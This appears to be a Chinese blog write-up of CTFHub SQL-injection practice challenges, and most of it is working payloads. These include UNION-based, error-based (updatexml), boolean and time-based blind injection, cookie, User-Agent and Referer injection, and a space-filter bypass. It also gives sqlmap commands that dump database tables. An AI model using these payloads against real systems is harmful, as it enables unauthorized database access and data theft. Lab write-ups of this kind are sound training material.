【Web】ctfhub基础知识之sql注入

于 2023-12-25 10:45:27 发布
阅读量52 收藏
点赞数
分类专栏： 网络安全技能Tree升级(ctf方向) # Web 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/A_Gaming/article/details/134991575
版权

文章目录


column_name:列的名称 

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息，包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

原文链接：https://blog.csdn.net/qq_58784379/article/details/119046308

整数型注入

在这里插入图片描述

  1. 判断是否存在注入，输入1回显，输入2回显，输入3，无回显。思路是可以用union select和group_concat来爆他的数据。

  2. 爆字段个数，id=1 order by 1，当id =1 order by 3，发现报错，得知表格只有两个字段
    在这里插入图片描述

  3. 爆库

id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
  1. 爆表名,两张表，（一个为news，一个为flag）
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述

  1. 爆字段名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.colomns where table_name= 'flag'

在这里插入图片描述
列名也为flag

  1. 爆数据
id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

在这里插入图片描述
得到flag。

字符型注入

跟上面一样

  1. 先爆字段数
1 order by 3/2/1
  1. 爆库
1' and 1=2 union select 1, group_concat(schema_name) from information_schema.schemata #

在这里插入图片描述

  1. 爆表
1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli' #

在这里插入图片描述
同上题，news和flag表

  1. 爆字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'flag' #

在这里插入图片描述
同上题，也是flag字段

  1. 爆数据
1' and 1=2 union select 1, group_concat(flag) from sqli.flag #

在这里插入图片描述
得到flag

报错注入

在这里插入图片描述

  1. 爆字段个数， 一样是order by 3报错
  2. 爆库，报错注入，用updatexml函数试试
1 and updatexml(1,concat("~", (select database()), "~"), 1) #

在这里插入图片描述

  1. 爆表
    在这里插入图片描述
    多于1行，记得limit 0,1; limit 1,1
1 and updatexml(1,concat("~", (select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1), "~"), 1) #

在这里插入图片描述

  1. 爆字段名
1 and updatexml(1,concat("~", (select table_name from information_schema.columns where table_name = 'flag' limit 0,1), "~"), 1) #

在这里插入图片描述

  1. 爆数据
1 and updatexml(1,concat("~", (select flag from flag limit 0,1), "~"), 1) #

在这里插入图片描述
找到flag

布尔盲注

在这里插入图片描述

  1. 爆库名长度
1 and select length(database()) = 4#

在这里插入图片描述

  1. 根据长度爆库名，穷举法
1 and substr(database(),1,1) = 'a'#    //query error
1 and substr(database(),1,1) = 's'#    //query success

1 and substr(database(),2,1) = 'q'#
1 and substr(database(),3,1) = 'l'#
1 and substr(database(),4,1) = 'i'#

在这里插入图片描述

  1. 对当前库爆表数量, 用select COUNT(*)
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 1 # //error
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 2# //success

在这里插入图片描述

  1. 对每张表爆表名长度
    注意观察limit i,1. i从0开始（第i+1张表） 
1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#

从这开始就出了问题，本来应该是success的，但报错了，暂时找不出原因，所以改用sqlmap试试

  1. 爆库名
sqlmap -u http://www.example.com/?id=1 -current-db

在这里插入图片描述

  1. 爆表名
sqlmap -u http://www.example.com/?id=1  -D sqli -tables

爆破，仅限该题。-D 指定数据库
在这里插入图片描述

  1. 爆字段名
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -columns

在这里插入图片描述

  1. 爆数据
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -C flag -dump

在这里插入图片描述

时间盲注

在这里插入图片描述

输入1 order by 3不回显，另寻他法
常用函数：
在这里插入图片描述

  1. 判断注入点
 1 and sleep (2)#

在这里插入图片描述
两秒后才返回，说明有时间盲注

  1. 爆库长度和名字
1 and if(length(database())=4, sleep(2), null) #

在这里插入图片描述
爆名字，懒得爆了，用sqlmap
正常顺序：

1- 爆库
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -current-db
2-爆表
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables
3-爆字段
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -columns
4-爆数据
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump

在这里插入图片描述

Mysql结构

这题与第一题思路和步骤一样

  1. 爆字段个数
  2. 爆库
  3. 爆表名
    这里的名字有一点点不一样
    在这里插入图片描述
  4. 爆字段名字
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='ngjkojwbeb'

在这里插入图片描述
uragevcpdv

  1. 爆数据
1 and 1=2 union select 1, group_concat(uragevcpdv) from sqli.ngjkojwbeb#

在这里插入图片描述

Cookie注入

通过cookie往后台提交数据，后台取出cookie中的数据，如果直接跟数据库打交道，那么就是一个注入点
在这里插入图片描述
刷新
在这里插入图片描述
在输入框输入/?id=222，没变，说明不在输入框

抓包，毫无以为，大概率在cookie这里有输入
在这里插入图片描述
确实如此
在这里插入图片描述

接下来就是一套流程了

  1. 爆库, 有回显，不用报错注入
1 and 1=2 union select 1,database()

在这里插入图片描述

  1. 爆表名
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
hloianwzjj

  1. 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hloianwzjj'

在这里插入图片描述
wxnuxmnepc

  1. 爆数据
1 and 1=2 union select 1, group_concat(wxnuxmnepc) from sqli.hloianwzjj#

在这里插入图片描述

UA注入

在这里插入图片描述

输入点在User-Agent，试试吧
在这里插入图片描述
0.爆字段个数—order by 2可以，3不行

  1. 爆库
1 and 1=2 union select 1,database()

在这里插入图片描述

  1. 爆表
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
hksyewtyar

  1. 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hksyewtyar'

在这里插入图片描述
rmeeorttoy

  1. 爆数据
1 and 1=2 union select 1, group_concat(rmeeorttoy) from sqli.hksyewtyar#

在这里插入图片描述

Refer 注入

在这里插入图片描述

  1. 爆字段个数 order by 2可以, order by 3不行
  2. 爆库
1 and 1=2 union select 1, database()

在这里插入图片描述

  1. 爆表
1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'

在这里插入图片描述
xppwvpejzb

  1. 爆字段名
1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'xppwvpejzb'

在这里插入图片描述
xqzoxanwpv

  1. 爆数据
1 and 1=2 union select 1, group_concat(xqzoxanwpv) from sqli.xppwvpejzb

在这里插入图片描述

过滤空格

在这里插入图片描述
额…

大佬思路: 空格换成/**/，笔记里有提到过一嘴，我忘记在哪了–(找到了)

  1. 爆字段个数
1/**/order/**/by/**/2   #有回显
  1. 爆库
1/**/and/**/1=2/**/union/**/select/**/1,database()

在这里插入图片描述

  1. 爆表
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'

在这里插入图片描述
kptfesiped

  1. 爆字段名
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'kptfesiped'

在这里插入图片描述
ozllqhdtaz

  1. 爆数据
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(ozllqhdtaz)/**/from/**/sqli.kptfesiped

在这里插入图片描述

综合训练 SQLI-LABS

这个是训练靶场、无 flag, 不开着先

Playboygenius
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
26-3 SQL注入攻击 - SQL注入无回显，盲注又被封怎么办？
weixin_43263566的博客
03-11 514
UNC路径的格式类似于。基于时间的盲注可以通过构造特定的SQL语句来判断条件是否成立，从而推测出数据库中的数据。盲注速度较慢且容易被WAF或防火墙封禁IP，因此利用DNSlog可以快速有效地获取数据，避免IP被封锁的情况。通过以上步骤，可以利用 DNSLog 平台或自行部署DNSLog来获取命令执行的回显信息，这在某些情况下可能用于安全测试或网络监控等需要的场景。需要注意的是，DNS查询过程中涉及到本地DNS服务器、根DNS服务器以及顶级域名服务器等不同级别的DNS服务器，通过逐级查询最终完成域名解析。
84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]
qwsn
01-21 4338
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、高级注入技巧 dnslog无回显注入 1、原理 2、dnslog平台 3、MySQL dnslog无回显注入示例： 4、SQLSERVER dnslog无回显注入示例： 5、总结：
一篇文章带你搞定SQL注入闭合方式判断（无回显）
csjjjd的博客
12-08 713
前面已经判断出单引号是一个闭合符了，接下来就大胆加入括号），再进行判断，发现还是不行，那就再加一个括号，之后用法则判断，直接搞定，so easy！基础就不讲了，详情可以看我写的《一篇文章带你搞定SQL注入闭合方式的判断(有报错回显）》在后面加上--+，接下来如果出现真页面而不是报错，那么你的闭合方式给一定正确。这里首先先让它报错，双引号是不行的，用单引号，可以判断单引号是一个闭合符。接下来说一个如何判断自己是对的的判断法则。
CTF中SQL注入常见题型整理
热门推荐
test
10-10 11万+
前言 正文 无过滤带回显的情况 可能使用到的工具：firefox、hackbar for firfox、sqlmap for linux 手工注入 bugku的环境 在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。 首先判断sql语句闭合方式 当在id的值后面加上'时，界面无回显，可以判断后端的sql语句应该是 select xxxx from xxxx where...
CTFHub(布尔盲注 判断是否，无回显)
sGanYu
08-06 1981
盲注主要分为两种，一种为时间类型盲注，一种为布尔类型盲注 判断是否是布尔类型的：当一个界面存在注入，但是没有显示位，没有SQL语句执行错误信息，由于布尔类型的注入只会告知是或者不是，所以只能通过页面返回的对与错来进行一个SQL的注入 【 column_name:列的名称 Information_schema.columns:表示所有的列的信息 Information_schema:表示所有信息，包括库、表、列 Information_schema.tables:表示所有的表的信息 tabl
CTFer成长之路之CTF中的SQL注入
自强不息
02-20 1502
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
Web安全之SQL注入攻击
03-04
①这个晨讲我构思了两个星期，但是之前电脑坏了，一直拖...今天由我给大家带来《web安全之SQL注入篇》系列晨讲，首先对课程进行简单介绍，SQL注入篇一共分为三讲：第一讲：“纸上谈兵：我们需要在本地架设注入环境，构
mysql&&sql注入+ctf+web安全
10-08
mysql&&sql注入+ctf+web安全
CTF-SQL注入
weixin_44770698的博客
06-16 5042
CTF-SQL注入题目整理
实验吧ctf-web题：简单的sql注入
Elvira
08-25 1万+
简单的sql注入 1. 基于报错的检测方法 2. 基于布尔的检测方法
记一道CTF 中遇到的SQL注入新型万能密码问题
大方子
10-09 8137
0x00. 引言 我们平时遇到的SQL注入万能密码都是形如admin' or '1'='1, 这种使用or 关键字使得查询结果永真，或者形如：' UNION Select 1,1,1 FROM admin Where ''='，这种使用union使得查询结果永真， 但是有一次我在CTF的比赛中遇到的SQL注入问题，使用这两种万能密码都不好使，不管怎么变换形式，都不好使，显然是or和union ...
【SQL注入-无回显】时间盲注：原理、函数、利用过程
06-14 5677
【SQL注入-无回显】
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8345
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
pythonMyPythonExamples.zip
07-24
python 【python】MyPythonExamples.zip 我的python学习小案例，初学者可以参考下
面试题目：100道经典的热门算法题目.zip
07-24
1.介绍：面试题目：100道经典的热门算法题目.zip 2.资源内容：面试题目：100道经典的热门算法题目.zip 3.适用人群：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业或毕业设计，作为“参考资料”使用。 4、作者介绍：某大厂资深算法工程师，从事Matlab、Python、C/C++、Java、YOLO算法仿真工作10年；路径规划、擅长计算机视觉、目标检测模型、智能优化算法、神经网络预测、信号处理、元胞自动机、图像处理、智能控制、无人机等多种领域的算法仿真实验。
java-springboot+vue课程答疑系统源码(项目源码-说明文档)
最新发布
07-24
java-springboot+vue课程答疑系统 项目关键技术 开发工具：IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7+ 后端技术：Springboot 前端技术：Vue、HTML5、css、JavaScript 关键技术：springboot、vue、MYSQL、MAVEN 数据库工具：Navicat、SQLyog
java+ssm+mysql人事工资管理系统(源码+lw+ppt)
07-24
人事管理系统的主要使用者分为管理员和员工，实现功能包括管理员：个人中心、公告信息管理、部门管理、职位管理、员工管理、员工培训管理、奖惩信息管理、员工工资管理、员工事务管理、管理员管理，员工：公告信息管理、员工培训管理、奖惩信息管理、员工工资管理、员工事务管理等功能。采用B/S架构，基于JAVA，SSM架构，数据库Mysql
redis-desktop-manager（Redis桌面管理器）
07-24
Redis Desktop Manager是一款功能强大且易于使用的Redis管理工具。它提供了直观、友好的图形用户界面（GUI），使得开发者无需依赖繁琐的命令行操作，即可轻松地浏览、管理和开发Redis数据库。无论是专业的DBA还是初学者，RDM都能极大地提高Redis开发和管理效率。 RDM支持多种操作系统，包括Windows、Mac OS和Linux，使得用户可以在不同的平台上使用它来管理Redis服务器。它支持多种Redis版本，包括Redis 2.6及更高版本，确保了广泛的兼容性。 在功能方面，RDM提供了丰富的操作选项。用户可以方便地连接到Redis服务器，查看和管理键值对，执行Redis命令，编辑键值对，以及导入和导出数据等。此外，RDM还支持实时监控Redis数据库的状态，包括连接数、内存使用情况、命令执行时间等，帮助用户及时发现问题并进行处理。 除了基本的Redis操作外，RDM还提供了许多额外的功能，如数据迁移、集群管理、自动备份等。这些功能使得RDM不仅是一个简单的Redis管理工具，更是一个全面的Redis解决方案。
ctfhub sql注入
10-09
CTFHub是一个CTF（Capture The Flag）竞赛平台，其中包含了各种类型的安全挑战，包括SQL注入。SQL注入是一种常见的Web应用程序安全漏洞，攻击者可以利用它来绕过应用程序的身份验证、访问未授权的数据或执行恶意操作...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值